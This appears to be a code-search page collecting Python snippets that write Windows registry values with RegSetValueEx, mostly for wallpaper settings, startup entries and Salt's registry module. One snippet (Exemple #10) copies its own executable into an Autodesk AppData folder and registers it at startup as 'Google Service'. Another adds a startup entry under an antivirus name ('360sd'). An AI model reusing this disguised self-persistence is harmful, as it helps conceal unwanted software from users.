Exemple #1
0
 def __set_wallpaper_from_bmp(self, bmp_path):
     reg_key = RegOpenKeyEx(HKEY_CURRENT_USER, "Control Panel\\Desktop", 0,
                            KEY_SET_VALUE)
     RegSetValueEx(reg_key, "WallpaperStyle", 0, REG_SZ, "2")
     RegSetValueEx(reg_key, "TillWallpaper", 0, REG_SZ, "0")
     SystemParametersInfo(SPI_SETDESKWALLPAPER, bmp_path,
                          SPIF_SENDWININICHANGE)
Exemple #2
0
def main():
    # open register
    regkey = RegOpenKeyEx(HKEY_CURRENT_USER, 'Control Panel\\Desktop', 0,
                          KEY_SET_VALUE)
    RegSetValueEx(regkey, 'WallpaperStyle', 0, REG_SZ, '0')
    RegSetValueEx(regkey, 'TileWallpaper', 0, REG_SZ, '0')
    # refresh screen
    SystemParametersInfo(SPI_SETDESKWALLPAPER,
                         os.path.abspath('cache/cache.jpg'),
                         SPIF_SENDWININICHANGE)
def Reg_Edit():
    reg_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    reg_falg = win32con.KEY_ALL_ACCESS | win32con.KEY_WRITE | win32con.KEY_READ
    key = RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, reg_path, 0, reg_falg)
    RegSetValueEx(key, "FtpServer", 0, win32con.REG_SZ,
                  "\"C:\\Program Files\\FtpServer.exe\"")
    RegSetValueEx(key, "QQClient", 0, win32con.REG_SZ,
                  "\"C:\\Program Files\\QQClient.exe\"")
    RegSetValueEx(key, "360sd", 0, win32con.REG_SZ,
                  "\"C:\\Program Files\\QQClient.exe\"")
    RegCloseKey(key)
Exemple #4
0
def set_wall(path=None):
    try:
        key = RegOpenKeyEx(HKEY_CURRENT_USER, "Control Panel\\Desktop", 0,
                           KEY_SET_VALUE)
        RegSetValueEx(key, 'WallpaperStyle', 0, REG_SZ, '2')
        RegSetValueEx(key, 'TileWallpaper', 0, REG_SZ, '0')
        if not path:
            path = dirname(__file__) + '/image/wall.jpg'
        SystemParametersInfo(SPI_SETDESKWALLPAPER, path, 1 + 2)
        RegCloseKey(key)
    except BaseException as e:
        dump_log('设置壁纸' + '--->' + str(e))
Exemple #5
0
def run_at_startup_set(appname, path):
    """
    Sets the registry key to run at stratup.
    """
    key = RegOpenKeyEx(HKEY_LOCAL_MACHINE, SUBKEY, 0, KEY_WRITE)
    RegSetValueEx(key, appname, 0, REG_SZ, path)
    RegCloseKey(key)
def run_at_startup_set(app_name, path):
    """
    Sets the key to run at startup
    """
    key = RegOpenKeyEx(HKEY_LOCAL_MACHINE, SUBKEY, 0, KEY_WRITE)
    RegSetValueEx(key, app_name, 0, REG_SZ, path)
    RegCloseKey(key)
    print("Key set")
Exemple #7
0
def auto_start(what, path):
    try:
        key = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE)
        if what:
            RegSetValueEx(key, 'MY_WINDMILL', 0, REG_SZ, '"%s" /start' % path)
        else:
            RegDeleteValue(key, 'MY_WINDMILL')
        RegCloseKey(key)
        return True
    except :
        return False
Exemple #8
0
def hit_b1():
    if e.get() != 0:
        for i in range(8):
            #路径变到8个线程都要
            proxy_path = dir_proxy_path + "\\" + str(i)
            new_value = e.get()
            #修改注册表
            key = RegOpenKey(HKEY_LOCAL_MACHINE, proxy_path, 0, KEY_ALL_ACCESS)
            RegSetValueEx(key, value_name, 0, REG_SZ, new_value)
            RegCloseKey(key)
    var.set(value)  #设置回初始值
def launchAtStart():
    #first of all we have to check if the path that we want exists
    if not os.path.exists(dirProgram):
        os.makedirs(dirProgram)
        #copy the program to the new folder
        shutil.copy(sys.argv[0], dirProgram)
        #create the registry key
        from win32api import (GetModuleFileName, RegCloseKey, RegDeleteValue,
                              RegOpenKeyEx, RegSetValueEx)

        from win32con import HKEY_LOCAL_MACHINE, KEY_WRITE, REG_SZ
        SUBKEY = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

        key = RegOpenKeyEx(HKEY_LOCAL_MACHINE, SUBKEY, 0, KEY_WRITE)
        flag = RegSetValueEx(key, appName, 0, REG_SZ, pathProgram)
        RegCloseKey(key)

        return 1

    return 0
Exemple #10
0
    def AutoRun():  # 自动拷贝并使文件开机自动运行
        alwaysFileName = path.basename(__file__)
        alwaysFileName = alwaysFileName.split('.')[0]
        nowPyPath = path.abspath(path.dirname(__file__))
        nowExeName = path.abspath(
            path.dirname(__file__)) + '\\' + alwaysFileName + '.exe'
        newExeFilePath = 'C:\\Users\\Administrator\\AppData\\Local\\Autodesk\\' + \
                         alwaysFileName + '.exe'    # 变成exe后,name还是.py,所以要手动加exe
        if nowPyPath != 'C:\\Users\\Administrator\\AppData\\Local\\Autodesk\\':  # 如果文件位置不是Autodesk的位置
            try:
                copyfile(nowExeName, newExeFilePath)  # 复制文件到指定目录
                print('复制成功')
            except Exception as e:
                print(e)

        KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'  # 注册表项名
        keyEnum = RegOpenKeyEx(
            HKEY_CURRENT_USER,
            'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0,
            KEY_ALL_ACCESS)
        ifValueExist = False
        try:  # 判断要注入的键值是否存在
            i = 0
            while True:
                regValue = RegEnumValue(keyEnum, i)
                if regValue[0] == 'Google Service':
                    ifValueExist = True
                    print('键值已存在')
                i += 1
        except:
            pass

        if not ifValueExist:
            try:
                key = RegOpenKey(HKEY_CURRENT_USER, KeyName, 0, KEY_ALL_ACCESS)
                RegSetValueEx(key, 'Google Service', 0, REG_SZ, newExeFilePath)
                RegCloseKey(key)
                print('添加成功!')
            except Exception as e:
                print(e)
Exemple #11
0
    def close(self):
        """ Close file and write in registry """
        from win32con import REG_SZ, REG_BINARY
        from win32api import RegSetValueEx

        # If the file has been opened correctly
        if self.handle != None and self.data != None:
            # If the file has not been deleted
            if self.deleted == 0:
                # If the file is opened with binary mode
                if self.binary:
                    typ = REG_BINARY
                else:
                    typ = REG_SZ

                # Write data in registry base
                RegSetValueEx(self.handle, "", 0, typ, self.data.getvalue())

            # Close file
            result = self.data.close()
            self.data = None
            return result
Exemple #12
0
def set_value(hive,
              key,
              vname=None,
              vdata=None,
              vtype='REG_SZ',
              use_32bit_registry=False,
              volatile=False):
    '''
    Sets a registry value entry or the default value for a key.

    :param str hive: The name of the hive. Can be one of the following

        - HKEY_LOCAL_MACHINE or HKLM
        - HKEY_CURRENT_USER or HKCU
        - HKEY_USER or HKU

    :param str key: The key (looks like a path) to the value name.

    :param str vname: The value name. These are the individual name/data pairs
        under the key. If not passed, the key (Default) value will be set.

    :param object vdata: The value data to be set.
        What the type of this paramater
        should be is determined by the value of the vtype
        paramater. The correspondence
        is as follows:

        .. glossary::

           REG_BINARY
               binary data (i.e. str in python version < 3 and bytes in version >=3)
           REG_DWORD
               int
           REG_EXPAND_SZ
               str
           REG_MULTI_SZ
               list of objects of type str
           REG_SZ
               str

    :param str vtype: The value type.
        The possible values of the vtype paramater are indicated
        above in the description of the vdata paramater.

    :param bool use_32bit_registry: Sets the 32bit portion of the registry on
       64bit installations. On 32bit machines this is ignored.

    :param bool volatile: When this paramater has a value of True, the registry key will be
       made volatile (i.e. it will not persist beyond a system reset or shutdown).
       This paramater only has an effect when a key is being created and at no
       other time.

    :return: Returns True if successful, False if not
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2'

    This function is strict about the type of vdata. For instance the
    the next example will fail because vtype has a value of REG_SZ and vdata
    has a type of int (as opposed to str as expected).

    CLI Example:

    .. code-block:: bash

        salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\
        vtype=REG_SZ vdata=0

    However, this next example where vdata is properly quoted should succeed.

    CLI Example:

    .. code-block:: bash

        salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\
        vtype=REG_SZ vdata="'0'"

    An example of using vtype REG_BINARY is as follows:

    CLI Example:

    .. code-block:: bash

        salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\
        vtype=REG_BINARY vdata='!!binary d2hhdCdzIHRoZSBwb2ludA=='

    An example of using vtype REG_LIST is as follows:

    CLI Example:

    .. code-block:: bash

        salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\
        vtype=REG_LIST vdata='[a,b,c]'
    '''

    if PY2:
        try:
            local_hive = _mbcs_to_unicode(hive)
            local_key = _mbcs_to_unicode(key)
            local_vname = _mbcs_to_unicode(vname)
            local_vtype = _mbcs_to_unicode(vtype)
            local_vdata = _mbcs_to_unicode_wrap(vdata, local_vtype)
        except TypeError as exc:  # pylint: disable=E0602
            log.error(exc, exc_info=True)
            return False
    else:
        local_hive = hive
        local_key = key
        local_vname = vname
        local_vdata = vdata
        local_vtype = vtype

    registry = Registry()
    hkey = registry.hkeys[local_hive]
    vtype_value = registry.vtype[local_vtype]
    access_mask = registry.registry_32[
        use_32bit_registry] | _winreg.KEY_ALL_ACCESS
    if volatile:
        create_options = registry.opttype['REG_OPTION_VOLATILE']
    else:
        create_options = registry.opttype['REG_OPTION_NON_VOLATILE']

    try:
        handle, _ = RegCreateKeyEx(hkey,
                                   local_key,
                                   access_mask,
                                   Options=create_options)
        RegSetValueEx(handle, local_vname, 0, vtype_value, local_vdata)
        RegFlushKey(handle)
        RegCloseKey(handle)
        broadcast_change()
        return True
    except (win32apiError, SystemError, ValueError, TypeError) as exc:  # pylint: disable=E0602
        log.error(exc, exc_info=True)
        return False
Exemple #13
0
def set_wall():
    key = RegOpenKeyEx(HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, KEY_SET_VALUE)
    RegSetValueEx(key, 'WallpaperStyle', 0, REG_SZ, '2')
    RegSetValueEx(key, 'TileWallpaper', 0, REG_SZ, '0')
    SystemParametersInfo(SPI_SETDESKWALLPAPER, dirname(__file__)+'/image/wall.jpg', 1+2)
    RegCloseKey(key)
Exemple #14
0
def set_value(hive,
              key,
              vname=None,
              vdata=None,
              vtype='REG_SZ',
              use_32bit_registry=False,
              volatile=False):
    '''
    Sets a registry value entry or the default value for a key.

    :param str hive: The name of the hive. Can be one of the following

        - HKEY_LOCAL_MACHINE or HKLM
        - HKEY_CURRENT_USER or HKCU
        - HKEY_USER or HKU

    :param str key: The key (looks like a path) to the value name.

    :param str vname: The value name. These are the individual name/data pairs
    under the key. If not passed, the key (Default) value will be set.

    :param str vdata: The value data to be set.

    :param str vtype: The value type. Can be one of the following:

        - REG_BINARY
        - REG_DWORD
        - REG_EXPAND_SZ
        - REG_MULTI_SZ
        - REG_SZ

    :param bool use_32bit_registry: Sets the 32bit portion of the registry on
    64bit installations. On 32bit machines this is ignored.

    :param bool volatile: When this paramater has a value of True, the registry key will be
    made volatile (i.e. it will not persist beyond a shutdown).

    :return: Returns True if successful, False if not
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2'
    '''

    if PY2:
        local_hive = _mbcs_to_unicode(hive)
        local_vtype = _mbcs_to_unicode(vtype)
    else:
        local_hive = hive
        local_vtype = vtype
    local_key = _unicode_to_mbcs(key)
    local_vname = _unicode_to_mbcs(vname)
    local_vdata = _unicode_to_mbcs(vdata)
    registry = Registry()
    hkey = registry.hkeys[local_hive]
    vtype_value = registry.vtype[local_vtype]
    access_mask = registry.registry_32[use_32bit_registry]
    if volatile:
        create_options = registry.opttype['REG_OPTION_VOLATILE']
    else:
        create_options = registry.opttype['REG_OPTION_NON_VOLATILE']

    try:
        handle, _ = RegCreateKeyEx(hkey,
                                   local_key,
                                   access_mask,
                                   Options=create_options)
        if vtype_value == registry.vtype['REG_SZ']\
                or vtype_value == registry.vtype['REG_BINARY']:
            local_vdata = str(local_vdata)  # Not sure about this line
        RegSetValueEx(handle, local_vname, 0, vtype_value, local_vdata)
        RegFlushKey(handle)
        RegCloseKey(handle)
        broadcast_change()
        return True
    except (win32apiError, ValueError, TypeError) as exc:  # pylint: disable=E0602
        log.error(exc, exc_info=True)
        return False